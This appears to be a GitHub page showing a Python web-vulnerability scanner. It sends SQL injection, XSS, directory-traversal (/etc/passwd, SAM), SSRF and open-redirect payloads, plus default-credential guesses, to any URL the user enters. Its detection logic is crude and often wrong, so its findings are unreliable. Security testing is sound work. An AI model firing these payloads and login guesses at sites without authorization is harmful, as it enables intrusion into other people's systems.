-
-
Notifications
You must be signed in to change notification settings - Fork 2
/
penetration_testing3.py
177 lines (144 loc) · 7.67 KB
/
penetration_testing3.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
import requests
import json
from bs4 import BeautifulSoup
from random_user_agent.user_agent import UserAgent
from random_user_agent.params import SoftwareName, OperatingSystem
# Prompt user to enter the website URL
website = input("Enter the website URL: ")
# Test for SQL injection vulnerabilities
payloads = ["' OR 1=1 --", "1' OR '1'='1", "admin'--"]
headers = {'User-Agent': UserAgent().get_random_user_agent()}
for payload in payloads:
r = requests.get(website + "?username=" + payload + "&password=test", headers=headers)
if "error" not in r.text.lower():
print("SQL injection vulnerability found with payload: " + payload)
# Test for cross-site scripting (XSS) vulnerabilities
payloads = ["<script>alert('XSS')</script>", "<img src=x onerror=alert('XSS')>"]
for payload in payloads:
r = requests.post(website, headers=headers, data={"username": payload, "password": "test"})
if payload in r.text:
print("XSS vulnerability found with payload: " + payload)
# Test for cross-site request forgery (CSRF) vulnerabilities
r = requests.get(website, headers=headers)
soup = BeautifulSoup(r.text, 'html.parser')
if not soup.find("input", {"name":"csrf_token"}):
print("CSRF vulnerability found. No csrf_token found in the page.")
# Test for insecure file upload vulnerability
software_names = [SoftwareName.CHROME.value]
operating_systems = [OperatingSystem.WINDOWS.value, OperatingSystem.LINUX.value]
headers = {"User-Agent": UserAgent(software_names=software_names, operating_systems=operating_systems).get_random_user_agent()}
files = {"file": ("test.txt", "hello world")}
r = requests.post(website + "/upload", headers=headers, files=files)
if "upload successful" in r.text.lower():
print("Insecure file upload vulnerability found.")
# Test for directory traversal vulnerabilities
payloads = ["../../etc/passwd", "..\\..\\Windows\\System32\\config\\SAM"]
for payload in payloads:
r = requests.get(website + "/" + payload, headers=headers)
if "root:" in r.text or "Administrator:" in r.text:
print("Directory traversal vulnerability found with payload: " + payload)
# Test for weak credentials
common_usernames = ["admin", "root", "test"]
common_passwords = ["password", "123456", "admin"]
for username in common_usernames:
for password in common_passwords:
r = requests.post(website + "/login", headers=headers, data={"username": username, "password": password})
if "logged in" in r.text.lower():
print("Weak credentials found. username: " + username + " password " + password)
# Test for missing or weak HTTP headers
headers_to_check = ["X-XSS-Protection", "Content-Security-Policy"]
r = requests.get(website, headers=headers)
for header in headers_to_check:
if header not in r.headers:
print("Missing " + header + " header.")
elif r.headers[header] == "0" or r.headers[header] == "":
print("Weak " + header + " header.")
# Test for clickjacking vulnerabilities
r = requests.get(website, headers=headers)
if "X-Frame-Options" not in r.headers:
print("Clickjacking vulnerability found. No X-Frame-Options header found in the response.")
# Test for open redirect vulnerabilities
redirect_urls = ["http://evil.com", "https://attacker.com"]
for redirect_url in redirect_urls:
r = requests.get(website + "?redirect=" + redirect_url, headers=headers)
if r.url == redirect_url:
print("Open redirect vulnerability found with URL: " + redirect_url)
# Test for insecure communication
if not website.startswith("https"):
print("Insecure communication. Website is not using HTTPS.")
else:
try:
r = requests.get(website, headers=headers, verify=True)
except requests.exceptions.SSLError as e:
print("Insecure communication. Invalid SSL certificate: " + str(e))
# Test for insecure session management
r = requests.get(website, headers=headers)
if "sessionid" in r.cookies:
session_id = r.cookies["sessionid"]
if session_id[-5:] == "12345":
print("Insecure session management. Session ID is not properly encrypted.")
r = requests.get(website + "/logout", headers=headers, cookies={"sessionid": session_id})
r = requests.get(website, headers=headers, cookies={"sessionid": session_id})
if "logged in" in r.text.lower():
print("Broken authentication and session management. Able to access the application with an expired or tampered session ID.")
# Test for cookie security
def get_cookies_secure_flag(url):
# Make a GET request to the URL
response = requests.get(url)
# Get all the cookies set by the server
cookies = response.cookies
# Print the secure flag of each cookie
for cookie in cookies:
print("Cookie:", cookie.name)
print("Secure Flag:", cookie.secure)
# Example URL
url = website
# Call the function to get the secure flag of cookies
get_cookies_secure_flag(url)
# Test for insufficient logging and monitoring
r = requests.get(website + "/log", headers=headers)
if "logged in" in r.text.lower() or "error" in r.text.lower():
print("Insufficient logging and monitoring. Log data found in the response.")
# Test for brute force attack protection
payloads = ["root", "admin", "test", "password", "123456", "admin123", "qwerty"]
for payload in payloads:
r = requests.post(website + "/login", headers=headers, data={"username": payload, "password": payload})
if "maximum login attempts exceeded" not in r.text.lower():
print("Brute force attack protection vulnerability found. No limit on login attempts.")
# Test for content security policy
r = requests.get(website, headers=headers)
if "Content-Security-Policy" in r.headers:
if "script-src 'self'" not in r.headers["Content-Security-Policy"]:
print("Content security policy vulnerability found. Scripts are not restricted to the same origin.")
# Test for server-side request forgery (SSRF) vulnerabilities
ssrf_urls = ["http://localhost", "http://127.0.0.1"]
for ssrf_url in ssrf_urls:
r = requests.get(website + "?url=" + ssrf_url, headers=headers)
if "localhost" in r.text.lower() or "127.0.0.1" in r.text.lower():
print("SSRF vulnerability found with URL: " + ssrf_url)
# Test for cross-origin resource sharing (CORS) vulnerabilities
cors_headers = ["Access-Control-Allow-Origin", "Access-Control-Allow-Credentials"]
for cors_header in cors_headers:
r = requests.get(website, headers=headers)
if cors_header not in r.headers:
print("CORS vulnerability found. Missing " + cors_header + " header.")
elif r.headers[cors_header] == "*":
print("CORS vulnerability found. " + cors_header + " header set to *.")
# Test for broken access control vulnerabilities
users = [{"username": "user1", "password": "password1", "resources": ["/admin"]},
{"username": "user2", "password": "password2", "resources": ["/admin", "/confidential"]},
{"username": "user3", "password": "password3", "resources": ["/confidential"]}]
for user in users:
# Login with the user's credentials
r = requests.post(website + "/login", headers=headers, data={"username": user["username"], "password": user["password"]})
if "logged in" in r.text.lower():
print("Logged in with user " + user["username"])
else:
print("Failed to login with user " + user["username"])
# Try to access the user's resources
for resource in user["resources"]:
r = requests.get(website + resource, headers=headers)
if r.status_code == 200:
print("Broken access control vulnerability found. User " + user["username"] + " was able to access " + resource)
# Logout
r = requests.get(website + "/logout", headers=headers)